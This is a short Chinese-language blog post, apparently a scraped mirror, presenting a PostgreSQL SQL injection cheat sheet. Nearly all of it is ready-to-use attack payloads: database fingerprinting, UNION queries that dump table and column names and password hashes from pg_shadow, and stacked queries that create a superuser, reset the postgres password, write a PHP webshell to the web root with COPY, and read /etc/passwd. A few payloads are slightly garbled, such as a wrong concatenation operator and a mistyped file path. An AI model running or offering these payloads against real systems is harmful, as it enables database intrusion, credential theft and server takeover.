zoukankan      html  css  js  c++  java
  • Sql注入之postgresql

    Sql注入之Postgresql

    介绍

    Postgresql是一款中小型数据库,经常与PHP一起使用。

    数据库判断

    +and+1::int=1-
    

    返回正常即为Postgresql数据库

    常用注入语句

    • 数据库版本
    +and+1=cast(version() as int)-
    
    • 判断当前用户
    and 1=cast(user||123 as int)
    
    • 判断字段数
    order by
    

    联合注入

    用法和oracle相似

    • 数据库版本信息
    union select null,version(),null 
    
    • 用户权限
    union select null,current_schema(),null
    
    • 数据库名称
    union select null,current_database(),null
    
    • 表名
    union select null,relname,null from pg_stat_user_tables
    
    • 列名
    union select null,column_name,null from information_schema.columns where table_name='表名'
    
    • 查看数据库账号密码
    union select null,usename|char(124)|passwd,null from pg_shadow
    

    ||连接字符串

    char(124)为|

    获得结果例子:admin|password

    • 创建用户
    ;create user test with superuser password 'test'-- 
    
    • 修改postgres的用户密码为pass
    ;alter user postgres with password 'pass'
    

    写shell

    • 方法一

    依次执行如下三个命令

    ;create  table shell(shell text not null);
    
    ;insert into shell values(一句话木马);
    
    ;copy shell(shell) to '/www/shell.php';
    

    这样就会将一句话木马写到,www目录下的shell.php文件中

    • 方法二
    ;copy (select '一句话木马') to '/www/shell/php';
    

    读文件

    pg_read_file('/etc/passwd',1,20)	#读文件前20行
    
  • 相关阅读:
    (转)expfilt 命令
    (转)第二十三节 inotify事件监控工具
    数据结构之平衡二叉树(AVL)
    安装apache2.4.10
    centos下编译安装mysql5.6
    随机 I/O & 顺序 I/O
    什么是mysql中的元数据
    linux中mail函数不能发送邮件怎么办
    检测MYSQL不同步发邮件通知的脚本
    mysql自动备份策略
  • 原文地址:https://www.cnblogs.com/Wuser/p/12326629.html
Copyright © 2011-2022 走看看